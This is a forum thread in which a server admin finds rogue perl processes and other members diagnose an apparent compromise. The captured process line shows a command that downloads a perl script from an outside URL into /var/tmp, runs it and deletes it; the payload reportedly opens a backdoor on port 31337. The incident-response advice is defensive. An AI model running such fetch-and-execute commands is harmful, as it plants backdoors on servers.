Rogue Perl Scripts

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • ManagerJosh
    Senior Member
    • Jun 2002
    • 9922

    Rogue Perl Scripts

    I just hit "top" via SSH and found I have two rogue perl scripts caught in a infinite cycle.

    How do I find out which scripts are they? And who they belong to as well
    ManagerJosh, Owner of 4 XenForo Licenses, 1 vBulletin Legacy License, 1 Internet Brands Suite License
    Director, WorldSims.org | Gaming Hosting Administrator, SimGames.net, Urban Online Entertainment
  • tamarian
    Senior Member
    • Oct 2000
    • 784
    • 1.1.x

    #2
    try:

    ps auxt|grep perl
    vB Drupal Community Plumbing | vB Survey | vBusy | vB Spell | vBouncer

    Comment

    • ManagerJosh
      Senior Member
      • Jun 2002
      • 9922

      #3
      Not much help there (or I just don't understand it)

      Code:
      httpd	22793  0.0  0.0  4516  576 ?		S	Jul17   0:00 sh -c echo _START
      _; cd /var/tmp;wget [URL="http://www.geocities.com/kemayauinc/asc.txt;perl"]http://www.geocities.com/kemayauinc/asc.txt;perl[/URL] asc.txt;rm
      -fr asc.txt; echo _END_
      root	 25010  0.0  0.0  3676  656 pts/2	D	14:08   0:00 grep perl
      ManagerJosh, Owner of 4 XenForo Licenses, 1 vBulletin Legacy License, 1 Internet Brands Suite License
      Director, WorldSims.org | Gaming Hosting Administrator, SimGames.net, Urban Online Entertainment

      Comment

      • tamarian
        Senior Member
        • Oct 2000
        • 784
        • 1.1.x

        #4
        Well, it seems they're no longer running

        But the first line looks a bit suspecious. I'd chack the logs to see who made that call, and check to make sure apache can't get a shell access, or be allowed outside the public_html.
        vB Drupal Community Plumbing | vB Survey | vBusy | vB Spell | vBouncer

        Comment

        • ManagerJosh
          Senior Member
          • Jun 2002
          • 9922

          #5
          mmm, well that's the thing tamarian. They are running. I checked "top" again and I clearly see them.
          ManagerJosh, Owner of 4 XenForo Licenses, 1 vBulletin Legacy License, 1 Internet Brands Suite License
          Director, WorldSims.org | Gaming Hosting Administrator, SimGames.net, Urban Online Entertainment

          Comment

          • tamarian
            Senior Member
            • Oct 2000
            • 784
            • 1.1.x

            #6
            Originally posted by ManagerJosh
            mmm, well that's the thing tamarian. They are running. I checked "top" again and I clearly see them.
            Hmm, run the ps command again, and replace "perl" with the name of the script you see in top.

            You can also try to kill them through the PID shown
            vB Drupal Community Plumbing | vB Survey | vBusy | vB Spell | vBouncer

            Comment

            • wbear
              Senior Member
              • Aug 2003
              • 216

              #7
              Instead of killing them outright, try this:
              Find the PID of the script.
              Type:
              cat /proc/PID/cmdline
              This should give you some useful information about what it's doing.

              Kill the script:
              kill PID

              Then remove it from /var/tmp:
              CD /var/tmp
              rm -f ./script.ext

              I'd also suggest you secure tmp, mounting it as noexec, along with /var/tmp and /dev/shm.

              [edit]
              Found some info on the script they uploaded, and it's opening port 31337:

              You really need to kill this process, and find out how they got in to upload it. Most commonly, an exploited script, like PHP is to blame. You might want to search your logs a bit.
              Last edited by wbear; Tue 19 Jul '05, 7:31am.

              Comment

              • Dave#
                Senior Member
                • Jul 2000
                • 1845

                #8
                Oh dear - some bad people are doing bad things on your server
                http://forums.cpfc.org/

                Comment

                • Scott MacVicar
                  Former vBulletin Developer
                  • Dec 2000
                  • 13286

                  #9
                  Looks like your box has been "rooted".

                  You'll need to consider rebuilding the machine and checking EVERY file for backdoors.
                  Scott MacVicar

                  My Blog | Twitter

                  Comment

                  • tamarian
                    Senior Member
                    • Oct 2000
                    • 784
                    • 1.1.x

                    #10
                    Note that so far this appears as an attempt, as far as I can tell. Best to first read the script (or post it here for us), and see if it even executes "as intended". Showing as a process does not mean it succeded.

                    Might be worth contacting your host/admin to investigate. (and update us )
                    vB Drupal Community Plumbing | vB Survey | vBusy | vB Spell | vBouncer

                    Comment

                    • Dave#
                      Senior Member
                      • Jul 2000
                      • 1845

                      #11
                      Originally posted by tamarian
                      Note that so far this appears as an attempt, as far as I can tell. Best to first read the script (or post it here for us), and see if it even executes "as intended". Showing as a process does not mean it succeded.)
                      It's an attempt by someone with local shell access afaiks
                      http://forums.cpfc.org/

                      Comment

                      • tamarian
                        Senior Member
                        • Oct 2000
                        • 784
                        • 1.1.x

                        #12
                        Originally posted by Dave#
                        It's an attempt by someone with local shell access afaiks
                        Yes, and it is the http process apparently (unless the root kit is in action). Could be done through an uploaded script. The system "may" be vulnerable to this attack, but it may not have succeded.

                        For instance, the script it's trying to download and execute does not exist at the URL it's seeking. This maybe a sign that a script kiddy got his hands on the script too late after the party
                        vB Drupal Community Plumbing | vB Survey | vBusy | vB Spell | vBouncer

                        Comment

                        • wbear
                          Senior Member
                          • Aug 2003
                          • 216

                          #13
                          Originally posted by tamarian
                          For instance, the script it's trying to download and execute does not exist at the URL it's seeking. This maybe a sign that a script kiddy got his hands on the script too late after the party
                          You sure? I was able to grab that script. Just remove the extra bit from the end of the URL, leaving .txt at the end...it's there.
                          Latest news coverage, email, free stock quotes, live scores and video are just the beginning. Discover more every day at Yahoo!

                          Comment

                          • tamarian
                            Senior Member
                            • Oct 2000
                            • 784
                            • 1.1.x

                            #14
                            Originally posted by wbear
                            You sure? I was able to grab that script. Just remove the extra bit from the end of the URL, leaving .txt at the end...it's there.
                            http://www.geocities.com/kemayauinc/asc.txt
                            Ah, o.k. So it seems to be trying to establish a mini server.

                            However, it is still unknown weather it was able to cd to tmp, and successfully run wget and download the script, and successfully execute the script.

                            And if all the above did succede, it may not successfully bind to the server's ports, as they maybe firewalled or in use. And if that succedes, the client script (remotely) may not have yet attempted to connect to this backdoor, as chances are (if this is automated) they have penetrated other servers, and any server will do.

                            There's too much suspence here, and I can't wait! I'm looking forward to hearing some good news from Josh, and hope all went well.
                            vB Drupal Community Plumbing | vB Survey | vBusy | vB Spell | vBouncer

                            Comment

                            • wbear
                              Senior Member
                              • Aug 2003
                              • 216

                              #15
                              Umm, actually it was /var/tmp, and if it wasn't successful, how could it be running in top? If you read the sh commands listed in the original post (this was a shell script that ran all of the above), it changed to /var/tmp, wget'ed the file, ran it through PERL, then removed itself, leaving the process running.

                              Comment

                              widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                              Working...